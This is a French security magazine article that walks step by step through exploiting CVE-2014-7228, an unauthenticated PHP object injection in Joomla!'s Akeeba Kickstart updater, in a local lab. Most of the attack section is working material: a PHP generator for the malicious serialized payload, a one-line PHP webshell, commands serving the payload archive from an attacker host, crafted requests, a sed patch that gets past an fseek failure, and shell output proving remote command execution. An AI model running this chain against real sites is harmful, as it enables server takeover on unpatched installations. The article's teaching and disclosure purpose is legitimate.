Exploitation de la CVE-2014-7228 : exécution distante de code dans Joomla! / Akeeba Kickstart

MISC n° 077 | janvier 2015 | Vincent Herbulot
Creative Commons
  • Actuellement 0 sur 5 étoiles
0
Merci d'avoir participé !
Vous avez déjà noté cette page, vous ne pouvez la noter qu'une fois !
Votre note a été changée, merci de votre participation !
Le 24 septembre 2014, Johannes Dahse reporte deux vulnérabilités à l'équipe Akeeba Backup et à la JSST (Joomla Security Strike Team). L'une d'entre elles, la CVE-2014-7228, permet une exécution de code distante sous certaines conditions.

1. Introduction

Cet article présente un cas d'exploitation de la CVE-2014-7228 [1] en s'appuyant sur la description de la vulnérabilité faite par Johannes Dahse (Reiners) sur son blog [2]. Cette vulnérabilité affecte les versions de 2.5.4 à 2.5.25, de 3.x à 3.2.5 et de 3.3.0 à 3.3.4 de Joomla! et permet une exécution de code distante sous certaines conditions.

Un niveau de risque élevé lui a été attribué en utilisant la méthode OWASP[3]. Cette vulnérabilité est néanmoins considérée comme difficile à exploiter de par les méthodes qu'elle utilise et les prérequis qu'elle nécessite. En effet, pour que la vulnérabilité soit présente le site Joomla! doit être en train d'effectuer une mise à jour. Plus exactement, le fichier restoration.php, créé lors de la mise à jour doit être présent. L'attaquant doit donc surveiller le site en attente d'une mise à jour ou en déclencher une, par exemple à l'aide de la CVE 2014-7229 (la seconde vulnérabilité, une CSRF permettant de déclencher une mise à jour de Joomla!).

2. Présentation de la vulnérabilité

La vulnérabilité est de type PHP Object Injection[4], elle provient du composant Akeeba Kickstart [5]. Ce composant est présent par défaut et est utilisé par Joomla! pour faire ses mises à jour. Le dialogue avec ce composant se fait à l'aide de requêtes AJAX contenant des objets PHP sérialisés.

Les mises à jour se font à l'aide d'archives.Les formats supportés sont ZIP, JPA et JPS[6]. L'archive est téléchargée puis extraite sur le serveur.

La page vulnérable est la page restore.phpprésente dans le répertoire$JOOMLA_WEB_ROOT/administrator/components/com_joomlaupdate/. Cette page est disponible sans authentification.

2.1 À propos des attaques par injection d'objet sérialisé

Les attaques par injection d'objet sérialisé surviennent lorsque des données contrôlées par l'utilisateur qui ne sont pas correctement filtrées sont fournies à la fonction PHP unserialize(). PHP autorisant la désérialisation d'objets, il est possible de lui fournir un objet contenant des attributs bien définis afin d'affecter le flot d'exécution.

Prenons un exemple simple. Le fichier suivant, poi_simple_vuln.php, définit une classe User, puis, reçoit un objet User sérialisé en argument et vérifie si celui-ci est administrateur après l'avoir désérialisé :

<?php

class User {

  public $name;

  private $isAdmin = false;

  function isAdmin() {

      return $this->isAdmin;

  }

}

 

$user = unserialize(base64_decode($argv[1]));

if($user->isAdmin())

  echo "User " . $user->name . " is admin.";

else

  echo "User " . $user->name . " is not admin.";

?>

La variable isAdmin étant à false par défaut, un utilisateur créé sans modifier cette variable ne sera pas administrateur. Pour obtenir les droits d'administrateur, il nous suffit de créer un objet User avec une variable isAdmin à true. Le code suivant, poi_simple_exploit.php, permet de créer l'objet dont nous avons besoin :

<?php

class User {

  public $name="us3r777";

  private $isAdmin=true;

}

echo base64_encode(serialize(new User));

?>

Ce code génère la sortie suivante :

$ php poi_simple_exploit.php                                                                                 

Tzo0OiJVc2VyIjoyOntzOjQ6Im5hbWUiO3M6NToiQWRtaW4iO3M6MTM6IgBVc2VyAGlzQWRtaW4iO2I6MTt9

En décodant le base64 on peut observer la représentation de l'objet après l'appel à serialize() (l'objet sérialisé) :

$ php poi_simple_exploit.php | base64 -d

O:4:"User":2:{s:4:"name";s:5:"Admin";s:13:"UserisAdmin";b:1;}

L'exploitation se fait de la manière suivante :

$ php poi_simple_vuln.php $(php poi_simple_exploit.php)                                                       

User us3r777 is admin.

Une méthode importante lorsque l'on parle de sérialisation d'objet en PHP est la méthode __wakeup(). Cette méthode est appelée automatiquement par la fonction unserialize() et permet d'exécuter du code dès la désérialisation de l'objet. Cependant, il faut noter qu'un objet PHP sérialisé ne contient pas de code, uniquement des variables, il n'est donc pas possible de créer son propre objet contenant une méthode __wakeup() à unserialize().

2.2 La vulnérabilité d'injection d'objet sérialisé dans masterSetup()

Étudions maintenant notre fichier restore.php afin de localiser la vulnérabilité d'injection d'objet sérialisé.

Lorsque la page restore.php est appelée, la fonction masterSetup() est exécutée afin de charger la configuration. Cette fonction vérifie d'abord que le fichier restoration.php est présent et stoppe l'exécution si ce n'est pas le cas.

    $setupFile = 'restoration.php';

    if( !file_exists($setupFile) )

    {

      // Uh oh... Somebody tried to pooh on our back yard. Lock the gates! Don't let the traitor inside!

      AKFactory::set('kickstart.enabled', false);

      return false;

    }

Ce fichier est uniquement présent lors de la mise à jour de Joomla!. Il sera donc nécessaire de détecter la mise à jour (en surveillant le fichier restoration.php) ou de la déclencher (par exemple, en utilisant la CVE 2014-7229) afin de réussir l'exploitation. Le contenu de ce fichier n'a pas d'importance étant donné que seule l'existence du fichier est testée. Nous considérerons dans la suite de cet article que le fichier est présent.

La fonction masterSetup()récupère ensuite les différents paramètres$_REQUEST, $_GET ou $_POSTde l'URL via la fonction getQueryParam().Le paramètre qui nous intéresse plus particulièrement est le paramètre factory.

  $serialized = getQueryParam('factory', null);

  if( !is_null($serialized) )

  {

    // Get the serialized factory

    AKFactory::unserialize($serialized);

    AKFactory::set('kickstart.enabled', true);

    return true;

  }

Ce paramètre reçoit des objets PHP sérialisés qui transitent encodés en base64. Ces objets sont ensuite désérialisés à l'aide de la méthodeAKFactory::unserialize(). Cette méthode décode le base64 puis fait appel à la méthodegetInstance() qui est chargée de recréer l'objet AKFactory à partir de l'objet sérialisé. Le code permettant d'effectuer ces deux actions est le suivant :

  protected static function &getInstance( $serialized_data = null ) {

    static $myInstance;

    if(!is_object($myInstance) || !is_null($serialized_data))

      if(!is_null($serialized_data))

      {

        $myInstance = unserialize($serialized_data);

      }

      else

      {

        $myInstance = new self();

      }

    return $myInstance;

  }

  public static function unserialize($serialized_data) {

    if(function_exists('base64_encode') && function_exists('base64_decode'))

    {

      $serialized_data = base64_decode($serialized_data);

    }

    self::getInstance($serialized_data);

  }

Il nous est donc possible de charger notre propre objet AKFactory en utilisant le paramètre factory, sans authentification. De plus, en PHP, lors de l'appel à la fonction de déserialisation unserialize(), la méthode __wakeup()des objets désérialisés est automatiquement appelée. Le code de la méthode __wakeup() de la classe AKFactory est le suivant :

  public function __wakeup()

  {

    if($this->currentPartNumber >= 0)

    {

      $this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');

      if( (is_resource($this->fp)) && ($this->currentPartOffset > 0) )

      {

        @fseek($this->fp, $this->currentPartOffset);

      }

    }

  }

Cette méthode va ouvrir un descripteur de fichier vers le fichier contenu dans this->archiveList[$this->currentPartNumber]et positionner le curseur de manière adéquate (au début du fichier si celui-ci n'a pas encore été lu, sinon sur la partie à traiter).

Note

Plusieurs choses sont à retenir pour la suite :

- La fonction fopen() est utilisée pour ouvrir un descripteur de fichier. fopen()est autorisée à ouvrir des fichiers distants si l'option de configuration allow_url_fopenest à true (ce qui est la valeur par défaut).

- La fonction fseek() ne fonctionne pas sur les descripteurs de fichiers distants.

2.3 Déroulement de l'attaque

Dès lors que nous contrôlons l'objet AKFactory et ses différents attributs, notre objectif est d'utiliser le code de mise à jour existant afin de déployer notre archive ZIP contenant un webshell PHP. Le code du webshell est le suivant :

<?php system($_GET['cmd']); ?>

Le fonctionnement de la mise à jour peut être résumé par le schéma suivant :

Fig. 1 : Déroulement chronologique de la mise à jour.

Nous allons donc tout d'abord envoyer un objet nous permettant d'atteindre la méthode_prepare(). Celle-ci va initialiser l'ensemble des variables nécessaires, notamment le chemin de destination de notre webshell (ce qui est bien pratique, car nous ne le connaissons pas à l'avance), l'objet AKPostprocDirect (chargé d'écrire les fichiers extraits de l'archive), et nous retourner un objet AKFactory correctement initialisé pour effectuer le transfert de fichier. Nous appellerons ensuite la méthode _run() afin d'effectuer le déploiement.

L'attaque peut être résumé de la manière suivante :

Fig. 2 : Déroulement  de l'attaque.

2.4 Déploiement de l'archive

Le code permettant le déploiement de l'archive de mise à jourse situe juste après l'exécution de la fonction masterSetup(). Il est tout d'abord vérifié que le mode kickstart est activé :

  masterSetup();

  $retArray = array(

    'status'  => true,

    'message' => null

  );

  $enabled = AKFactory::get('kickstart.enabled', false);

  if($enabled)

  {

Pour rappel, cette propriété est passée à true lors de la désérialisation de l'objet AKFactory. La variable task, récupérée via la fonction getQueryParam(), est ensuite testée afin de déterminer quelle action va être réalisée :

  if($enabled)

  {

$task = getQueryParam('task');

    switch($task)

    {

      case 'ping':

        // ping task - realy does nothing!

        $timer = AKFactory::getTimer();

        $timer->enforce_min_exec_time();

        break;

      case 'startRestore':

        AKFactory::nuke(); // Reset the factory

        // Let the control flow to the next step (the rest of the code is common!!)

      case 'stepRestore':

$engine = AKFactory::getUnarchiver(); // Get the engine

        $observer = new RestorationObserver(); // Create a new observer

        $engine->attach($observer); // Attach the observer

$engine->tick();

        $ret = $engine->getStatusArray();

La tâche stepRestore nous intéresse particulièrement, car c'est elle qui est chargée du déploiement de l'archive sur le serveur. La méthodegetUnarchiver() est chargée de créer la classe responsable de la gestion de l'archive. La méthodetick()est,quant à elle,chargée du téléchargement et de l'extraction de l'archive.

2.4.1 getUnarchiver

Observons plus en détail la méthodegetUnarchiver(), afin de déterminer les variables nécessaires à la création d'une instance AKUnarchiverZIP. Les formats disponibles sont ZIP, JPA et JPS. Nous utiliserons ici le format ZIP qui est un format connu de tous.

  public static function &getUnarchiver( $configOverride = null )

  {

[...]

    if( empty($class_name) )

    {

      $filetype = self::get('kickstart.setup.filetype', null);

      if(empty($filetype))

      {

        $filename = self::get('kickstart.setup.sourcefile', null);

        $basename = basename($filename);

        $baseextension = strtoupper(substr($basename,-3));

        switch($baseextension)

        {

[...]

          case 'ZIP':

            $filetype = 'ZIP';

            break;

          default:

            die('Invalid archive type or extension in file '.$filename);

            break;

        }

      }

      $class_name = 'AKUnarchiver'.ucfirst($filetype);

    }

    $destdir = self::get('kickstart.setup.destdir', null);

    if(empty($destdir))

    {

      $destdir = function_exists('getcwd') ? getcwd() : dirname(__FILE__);

    }

$object = self::getClassInstance($class_name);

La variable nécessaire à la création d'une instance AKUnarchiverZIPestkickstart.setup.sourcefile. L'attributkickstart.setup.destdirsera utilisé comme chemin de déploiement sur le serveur, il n'est pas nécessaire de définir celui-ci pour 2 raisons :

- La variable $destdir va contenir le dossier de travail courant si celle-ci est vide.

- La définir nécessiterait de connaître le répertoire d'installation de Joomla!.

Pour notre exploit, nous utiliserons donckickstart.setup.sourcefile = https://192.168.56.1/exploit.zip.

2.4.2 La méthode tick()

Le code de la méthode tick() est le suivant :

  final public function tick()

  {

    // Call the right action method, depending on engine part state

    switch( $this->getState() )

    {

      case "init":

        $this->_prepare();

        break;

      case "prepared":

        $this->_run();

        break;

      case "running":

        $this->_run();

        break;

      case "postrun":

        $this->_finalize();

        break;

    }

    // Send a Return Table back to the caller

    $out = $this->_makeReturnTable();

    return $out;

  }

Si l'on suit le déroulement normal d'une mise à jour, nous passerons tout d'abord par la méthode _prepare() qui va initialiser l'ensemble des variables nécessaires à la réalisation du transfert de l'archive et de son extraction puis retourner une table de retour. Cette table de retour contiendra entre autres l'ensemble de la classe AKFactory après l'exécution de la méthode _prepare()sous la forme code sérialisé encodé en base64. Ce code sera ensuite retourné à l'appelant (dans la réponse HTTP).

Un deuxième appel à la méthode tick() une fois le statut passé à la valeur preparedpermettra l'exécution de la méthode _run() qui se chargera du transfert et de l'extraction de l'archive.

2.5 Réponse HTTP

La table de retour générée précédemment subit quelques traitements avant d'être incluse dans la réponse HTTP. Celle-ci est encodée au format JSON puis chiffrée en AES à l'aide du mot de passe kickstart.security.password.

  $json = json_encode($retArray);

  // Do I have to encrypt?

  $password = AKFactory::get('kickstart.security.password', null);

  if(!empty($password))

  {

    $json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);

  }

  // Return the message

  echo "###$json###";

Nous contrôlons la variablekickstart.security.password, nous pouvons donc contourner la fonction de chiffrement en utilisant un mot de passe vide.

3. Exploitation

Pour résumer, nous devons définir les variables suivantes dans l'objet AKFactory :

- kickstart.enabled à true

- kickstart.security.password à ''

- kickstart.setup.sourcefile à 'http://192.168.56.1:8080/exploit.zip'

- kickstart.setup.filetype à 'ZIP'

Cet objet doit ensuite être sérialisé, encodé en base64 et fourni dans le paramètre factory. Il est également nécessaire d'attribuer la valeur stepRestoreau paramètretask. Le script PHP suivant nous permet de générer le paramètre factory nécessaire:

<?php

  class AKFactory {

      private $varlist = array();

      public function __construct() {

          $this->varlist['kickstart.security.password'] = '';

          $this->varlist['kickstart.setup.sourcefile'] = 'http://192.168.56.1:8080/exploit.zip';

      }

  }

  print base64_encode(serialize(new AKFactory));

?>

Avant de lancer notre exploit, il est nécessaire de créer un serveur web pour mettre à disposition l'archive contenant le fichier webshell.php présenté dans la partie2.3 Déroulement de l'attaque.Les commandes suivantes permettent de créer l'archive et de démarrer un serveur HTTP en écoute sur le port 8080 :

$ zip exploit.zip webshell.php

updating: webshell.php (stored 0%)

$ python -m SimpleHTTPServer 8080

Serving HTTP on 0.0.0.0 port 8080 ...

Nous pouvons ensuite lancer notre exploit à l'aide de la commande suivante :

$ wget -q -O - "http://192.168.56.101/joomla3.3.4/administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=$(php cve_2014_7228.php)"

###{"status":true,"message":null,"files":0,"bytesIn":0,"bytesOut":0,"done":false,"factory":"Tzo5OiJBS0Z[...]xvaXQuemlwIjtzOjE3OiJraWNrc3RhcnQuZW5hYmxlZCI7YjoxO319"}###

Cette requête crée un objet AKUnarchiverZip et appelle la méthode _prepare(). Elle retourne ensuite l'objetAKFactory dans l'état suivant l'exécution de _prepare()sous la forme d'objet sérialisé. Suite à cette exécution, l'ensemble des variables nécessaires a été initialisé et le booléen isPreparedest passé à true.

3.1 Appel de la méthode _run()

Il ne nous reste plus qu'à appeler de nouveau la page restore.php avec l'objet AKFactory qui a été retourné afin de déclencher l'état suivant de la méthode tick():_run(), qui est chargée du transfert et de l'extraction de l'archive. Cependant, après cette première tentative, la réponse retournée par le serveur est la suivante :

$ wget -q -O – "http://192.168.56.101/joomla3.3.4/administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=Tzo5OiJBS0ZhY3Rvc[...]aWNrc3RhcnQuZW5hYmxlZCI7YjoxO319"

###{"status":false,"message":"The archive file is corrupt, truncated or archive parts are missing","done":true}###

Le transfert n'est pas effectué et un message d'erreur apparaît. Ceci est lié à la fonctionfseek(). En effet, comme expliqué précédemment, lors de la désérialisation du nouvel objet AKFactorydonné en paramètre, la méthode__wakeup()est appelée. La variable$this->currentPartOffsetétant égale à 0 suite au précédent appel de la méthode_prepare().La fonction devrait mettre le curseur au début du fichier à la ligne:

if( (is_resource($this->fp)) && ($this->currentPartOffset > 0) )

      {

@fseek($this->fp, $this->currentPartOffset);

      }

Cependant notre fichier étant distant, le déplacement du curseur ne se fait pas et celui-ci reste en fin de fichier (il a été placé en fin de fichier par la méthode_prepare()). Une fois dans la méthode_run(), la fonction readFileHeader() est appelée. Celle-ci vérifie si la fin du fichier est atteinte, ce qui est le cas puisque notre curseur n'a pas pu être repositionné.

  protected function readFileHeader()

  {

    // If the current part is over, proceed to the next part please

    if( $this->isEOF(true) ) {

      $this->nextFile();

    }

[...]

Elle appelle donc la méthodenextFile(). Cependant, il n'y a pas de fichier suivant. La méthode_run() se termine donc sans réussir le transfert du fichier. Le code de la méthode nextFile() est le suivant :

  protected function nextFile()

  {

    ++$this->currentPartNumber;

    if( $this->currentPartNumber > (count($this->archiveList) - 1) )

    {

      $this->setState('postrun');

      return false;

    }

    else

    {

      if( is_resource($this->fp) ) @fclose($this->fp);

      $this->fp = @fopen( $this->archiveList[$this->currentPartNumber], 'rb' );

      fseek($this->fp, 0);

      $this->currentPartOffset = 0;

      return true;

    }

  }

Un moyen simple de contourner ce problème est de réécrire l'objet retourné pour que l'appel à nextFile() retourne le fichier voulu. Pour cela, il suffit de décrémenter la variable currentPartNumber de 1. Celle-ci est à 0 suite à l'exécution de _prepare(), nous allons donc la remettre à -1. Pour cela, il suffit de décoder le paramètre factory, de modifier la valeur de currentPartNumber et de le réencoder. Ceci est faisable à l'aide de la commande suivante :

$ echo -n "Tzo5OiJBS0ZhY3Rv[...]ZW5hYmxlZCI7YjoxO319" |  base64 -d |sed -e 's/currentPartNumber";i:0/currentPartNumber";i:-1/' | base64 -w0

Tzo5OiJBS0ZhY3Rv[...]ZWQiO2I6MTt9fQ==

On fait alors de nouveau appel à la page restore.php avec en lui donnant cette nouvelle version sérialisée de l'objet AKFactory :

wget -q -O – "http://192.168.56.101/joomla3.3.4/administrator/components/com_joomlaupdate/restore.php?task=stepRestore&factory=Tzo5OiJBS0ZhY3Rv[...]ZWQiO2I6MTt9fQ=="

###{"status":true,"message":null,"files":1,"bytesIn":31,"bytesOut":31,"done":false,"factory":"Tzo5OiJBS0ZhY3Rv[...]ZW5hYmxlZCI7YjoxO319"}###

Les variables bytesIn et bytesOut prouvent que le transfert a bien été effectué. La variable done est à false, car l'ensemble du processus n'est pas terminé : en effet, la fonction _finalize() n'a pas été appelée. Il n'est cependant pas nécessaire d'appeler celle-ci, car notre webshell a bien été transféré et est présent à l'adresse:

http://192.168.56.101/joomla3.3.4/administrator/components/com_joomlaupdate/webshell.php

Il est possible de l'interroger de la manière suivante :

$ wget -O - -q 'http://192.168.56.101/joomla3.3.4/administrator/components/com_joomlaupdate/webshell.php?cmd=uname -a'

Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.54-2 i686 GNU/Linux

$ wget -O - -q 'http://192.168.56.101/joomla3.3.4/administrator/components/com_joomlaupdate/webshell.php?cmd=whoami'  

www-data

Conclusion

Cette vulnérabilité de type PHP Object Injection, affecte un grand nombre de versions de Joomla!. Son exploitation nécessite néanmoins des prérequis contraignants : le site fichier restoration.php doit être présent.

Nous avons vu comment affecter le flux d'exécution en modifiant des attributs dans la classe injectée afin de reproduire le comportement d'une mise à jour. Cette vulnérabilité nous rappelle qu'il est important de ne jamais passer de données contrôlées par l'utilisateur à la fonction unserialize()sans les assainir au préalable.

Johannes Dahse a découvert cette vulnérabilité à l'aide de l'outil d'analyse statique de code PHP RIPS [7]. Cet outil, actuellement en cours de refonte, semble très prometteur, et nous attendons avec impatience les futures versions qui devraient permettre de détecter ce type de vulnérabilités nativement.

Références

[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7228

[2] http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/

[3] https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology

[4] https://www.owasp.org/index.php/PHP_Object_Injection

[5] https://www.akeebabackup.com/products/akeeba-kickstart.html

[6] https://www.akeebabackup.com/products/akeeba-extract-wizard.html

[7] http://rips-scanner.sourceforge.net/